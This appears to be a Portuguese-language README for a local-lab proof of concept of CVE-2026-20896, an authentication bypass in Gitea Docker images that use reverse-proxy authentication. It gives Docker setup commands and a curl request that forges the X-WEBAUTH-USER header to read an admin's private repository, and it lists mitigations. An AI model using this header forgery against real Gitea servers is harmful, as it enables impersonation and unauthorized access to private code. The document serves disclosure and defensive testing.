
CVE-2026-20896 — Updated!
Gitea Docker Image Authentication Bypass
CVE-2026-20896: PoC de Bypass de Autenticação na Imagem Docker do Gitea
[!WARNING] Use este PoC apenas em um laboratório local ou contra um sistema que você tenha autorização explícita para testar.
https://github.com/user-attachments/assets/b73af2fe-0e59-438b-80d6-be93fd75697b
Visão Geral
CVE-2026-20896 é um bypass de autenticação em imagens Docker oficiais do Gitea afetadas. Quando a autenticação por proxy reverso está habilitada, a configuração REVERSE_PROXY_TRUSTED_PROXIES = * gerada pela imagem permite que um cliente que consiga alcançar o backend do Gitea se passe por um usuário existente através do cabeçalho X-WEBAUTH-USER.
O laboratório cria um administrador chamado gitea-admin com uma senha aleatória e armazena CVE-2026-20896_AUTH_BYPASS_CONFIRMED no repositório privado gitea-admin/private-proof. Ler esse arquivo sem conhecer a senha aleatória do administrador demonstra o bypass.
Versões Afetadas
| Categoria | Versão |
|---|---|
| Vulnerável | Imagens Docker oficiais gitea/gitea ≤ 1.26.2 |
| Primeira correção | 1.26.3 |
| Recomendada | 1.26.4 ou posterior |
A configuração vulnerável exige que a autenticação por proxy reverso esteja habilitada e que o backend do Gitea seja diretamente acessível, ou que um proxy upstream preserve o cabeçalho de identidade fornecido pelo atacante. Um contêiner de proxy reverso não é necessário para esta reprodução local.
Ambiente
# build
docker build -t cve-2026-20896-gitea-vuln .
# run
docker run -d --rm --name cve-2026-20896-gitea-vuln -p 127.0.0.1:3000:3000 cve-2026-20896-gitea-vuln
Aguarde alguns segundos para que o Gitea e o repositório privado de prova sejam inicializados.
PoC
cURL
curl -s -L -H "X-WEBAUTH-USER: gitea-admin" http://127.0.0.1:3000/gitea-admin/private-proof/raw/branch/main/proof.txt
A exploração bem-sucedida retorna CVE-2026-20896_AUTH_BYPASS_CONFIRMED.
Python
python poc.py http://127.0.0.1:3000
O script compara solicitações não autenticadas, de não administrador e forjadas de administrador e imprime VULNERABLE quando o bypass de autorização é confirmado. Ele requer Python 3.10 ou posterior e usa apenas a biblioteca padrão.
Impacto
- Personificação de usuários do Gitea conhecidos ou adivinháveis
- Acesso não autorizado a repositórios privados e recursos de usuários
- Ações administrativas quando uma conta de administrador é personificada
Mitigação
- Atualize para o Gitea 1.26.3 ou posterior; 1.26.4 ou posterior é recomendado.
- Restrinja
REVERSE_PROXY_TRUSTED_PROXIESaos endereços de proxy confiáveis. - Impedir o acesso direto ao backend do Gitea e sobrescrever cabeçalhos de identidade fornecidos externamente.
- Desative a autenticação por proxy reverso quando ela não for necessária.
Limpeza
docker stop cve-2026-20896-gitea-vuln